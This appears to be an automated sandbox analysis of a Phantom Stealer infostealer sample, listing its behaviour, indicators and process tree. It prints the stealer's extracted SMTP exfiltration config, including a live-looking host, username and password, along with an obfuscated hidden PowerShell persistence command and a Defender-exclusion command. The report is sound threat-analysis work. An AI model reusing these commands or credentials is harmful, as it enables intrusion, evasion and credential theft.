phantom_stealer | fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9

Analysis

max time kernel
148s
max time network
101s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Size 1.6MB
Sample260910-m78wbssbqa
SHA256 fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9
MD5 59f94c914a02913c034de99447c86b52
SHA1 9cee61773e655e93cd4d0082f5007fa6b2e8f63e
SHA512 3ae6989b056cdb6d3e77c688e39b9c14d4e58f53faec17d85c4f7b4ed61f31774d4aad19bb06f063cebff6538bb87345721338a3d28886b92ae2f740316d2a8d
SSDEEP 49152:6b/2oSV+dICgRRHoCS3D9ipGaR5CiuUtOtZzMG:6buoKCgPBg5ipGaXC7Zz
TLSH
T1E575125822A5EE02D2E26BF41C20F3B857B91E497922E3078EF5ADDFB5396443D452C3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence spyware stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
mail.theearlybrain.com
Port
587
Username
[email protected]
Password
Hope0515!
Email to
[email protected]

Mutex

TK6NES94M2K4E2AW4TVH

Attributes

anti_analysis
0
cb_enables_ssl
1
debug
0
keylogger
0
start_delay
0
startup
1

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 1 IoCs

resource	yara_rule
behavioral2/memory/4176-17-0x0000000000400000-0x00000000004BE000-memory.dmp	family_phantomstealer

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2332	powershell.exe
2040	powershell.exe
1696	powershell.exe
4156	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4724	Fx.exe
5788	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
2220	Fx.exe
6908	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Fx = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$y5cud4=7159;$o0i3or=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$y5cud4=7159;$enc43n=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEZ4LmV4ZQ==')));$u3wjs5=[System.Environment]::TickCount;& $o0i3or -FilePath $enc43n\""	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9 = "C:\\Users\\Admin\\AppData\\Roaming\\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	icanhazip.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4852 set thread context of 4176	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	92
PID 4724 set thread context of 2220	4724	Fx.exe	174
PID 5788 set thread context of 6908	5788	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	176

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp\chrome_installer.log	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\chrome_installer.log	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	chrmstp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5972	chrome.exe
832	msedge.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134335120901587128"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 63 IoCs

pid	Process
4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
2332	powershell.exe
2332	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
5532	chrome.exe
5532	chrome.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4724	Fx.exe
4724	Fx.exe
4724	Fx.exe
2040	powershell.exe
2040	powershell.exe
2040	powershell.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
5788	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
5788	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
5788	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	2332	powershell.exe
Token: SeSecurityPrivilege	2332	powershell.exe
Token: SeTakeOwnershipPrivilege	2332	powershell.exe
Token: SeLoadDriverPrivilege	2332	powershell.exe
Token: SeSystemProfilePrivilege	2332	powershell.exe
Token: SeSystemtimePrivilege	2332	powershell.exe
Token: SeProfSingleProcessPrivilege	2332	powershell.exe
Token: SeIncBasePriorityPrivilege	2332	powershell.exe
Token: SeCreatePagefilePrivilege	2332	powershell.exe
Token: SeBackupPrivilege	2332	powershell.exe
Token: SeRestorePrivilege	2332	powershell.exe
Token: SeShutdownPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeSystemEnvironmentPrivilege	2332	powershell.exe
Token: SeRemoteShutdownPrivilege	2332	powershell.exe
Token: SeUndockPrivilege	2332	powershell.exe
Token: SeManageVolumePrivilege	2332	powershell.exe
Token: 33	2332	powershell.exe
Token: 34	2332	powershell.exe
Token: 35	2332	powershell.exe
Token: 36	2332	powershell.exe
Token: SeShutdownPrivilege	5532	chrome.exe
Token: SeCreatePagefilePrivilege	5532	chrome.exe
Token: SeShutdownPrivilege	5532	chrome.exe
Token: SeCreatePagefilePrivilege	5532	chrome.exe
Token: SeShutdownPrivilege	5532	chrome.exe
Token: SeCreatePagefilePrivilege	5532	chrome.exe
Token: SeShutdownPrivilege	5532	chrome.exe
Token: SeCreatePagefilePrivilege	5532	chrome.exe
Token: SeShutdownPrivilege	5532	chrome.exe
Token: SeCreatePagefilePrivilege	5532	chrome.exe
Token: SeShutdownPrivilege	5532	chrome.exe
Token: SeCreatePagefilePrivilege	5532	chrome.exe
Token: SeDebugPrivilege	4724	Fx.exe
Token: SeDebugPrivilege	2220	Fx.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	5788	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeIncreaseQuotaPrivilege	2040	powershell.exe
Token: SeSecurityPrivilege	2040	powershell.exe
Token: SeTakeOwnershipPrivilege	2040	powershell.exe
Token: SeLoadDriverPrivilege	2040	powershell.exe
Token: SeSystemProfilePrivilege	2040	powershell.exe
Token: SeSystemtimePrivilege	2040	powershell.exe
Token: SeProfSingleProcessPrivilege	2040	powershell.exe
Token: SeIncBasePriorityPrivilege	2040	powershell.exe
Token: SeCreatePagefilePrivilege	2040	powershell.exe
Token: SeBackupPrivilege	2040	powershell.exe
Token: SeRestorePrivilege	2040	powershell.exe
Token: SeShutdownPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeSystemEnvironmentPrivilege	2040	powershell.exe
Token: SeRemoteShutdownPrivilege	2040	powershell.exe
Token: SeUndockPrivilege	2040	powershell.exe
Token: SeManageVolumePrivilege	2040	powershell.exe
Token: 33	2040	powershell.exe
Token: 34	2040	powershell.exe
Token: 35	2040	powershell.exe
Token: 36	2040	powershell.exe
Token: SeDebugPrivilege	6908	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	1696	powershell.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
5532	chrome.exe
5532	chrome.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
2252	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4172	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 2332	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	89
PID 4852 wrote to memory of 4176	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	92
PID 4852 wrote to memory of 4176	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	92
PID 4852 wrote to memory of 4176	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	92
PID 4852 wrote to memory of 4176	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	92
PID 4852 wrote to memory of 4176	4852	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	92
PID 4156 wrote to memory of 4724	4156	powershell.exe	95
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 5532 wrote to memory of 3852	5532	chrome.exe	100
PID 4176 wrote to memory of 3852	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	100
PID 5532 wrote to memory of 6108	5532	chrome.exe	101
PID 5532 wrote to memory of 5972	5532	chrome.exe	102
PID 5532 wrote to memory of 5140	5532	chrome.exe	103
PID 5532 wrote to memory of 1528	5532	chrome.exe	104
PID 5532 wrote to memory of 704	5532	chrome.exe	105
PID 5532 wrote to memory of 4404	5532	chrome.exe	106
PID 5532 wrote to memory of 4804	5532	chrome.exe	107
PID 5532 wrote to memory of 4648	5532	chrome.exe	108
PID 4176 wrote to memory of 3852	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	100
PID 5532 wrote to memory of 1060	5532	chrome.exe	109
PID 5532 wrote to memory of 5740	5532	chrome.exe	118
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 4176 wrote to memory of 5740	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	118
PID 4176 wrote to memory of 5740	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	118
PID 4176 wrote to memory of 1060	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4176 wrote to memory of 5140	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4176 wrote to memory of 5140	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4176 wrote to memory of 4648	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	108
PID 4176 wrote to memory of 3852	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	100
PID 4176 wrote to memory of 3852	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	100
PID 4176 wrote to memory of 4804	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4176 wrote to memory of 4804	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4176 wrote to memory of 704	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	105
PID 4176 wrote to memory of 704	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	105
PID 4176 wrote to memory of 5972	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	102
PID 4176 wrote to memory of 5972	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	102
PID 4176 wrote to memory of 4404	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4176 wrote to memory of 4404	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 4176 wrote to memory of 6108	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	101
PID 4176 wrote to memory of 6108	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	101
PID 4176 wrote to memory of 1060	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4176 wrote to memory of 1060	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4176 wrote to memory of 5140	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4176 wrote to memory of 5140	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4176 wrote to memory of 4648	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	108
PID 4176 wrote to memory of 4648	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	108
PID 4176 wrote to memory of 3852	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	100
PID 4176 wrote to memory of 3852	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	100
PID 4176 wrote to memory of 4804	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4176 wrote to memory of 4804	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4176 wrote to memory of 704	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	105
PID 4176 wrote to memory of 704	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	105
PID 4176 wrote to memory of 5972	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	102
PID 4176 wrote to memory of 5972	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	102
PID 4176 wrote to memory of 4404	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4176 wrote to memory of 4404	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 4176 wrote to memory of 5532	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	99
PID 4176 wrote to memory of 6108	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	101
PID 4176 wrote to memory of 6108	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	101
PID 4176 wrote to memory of 1060	4176	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
"C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
  "C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z"
    3⤵
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
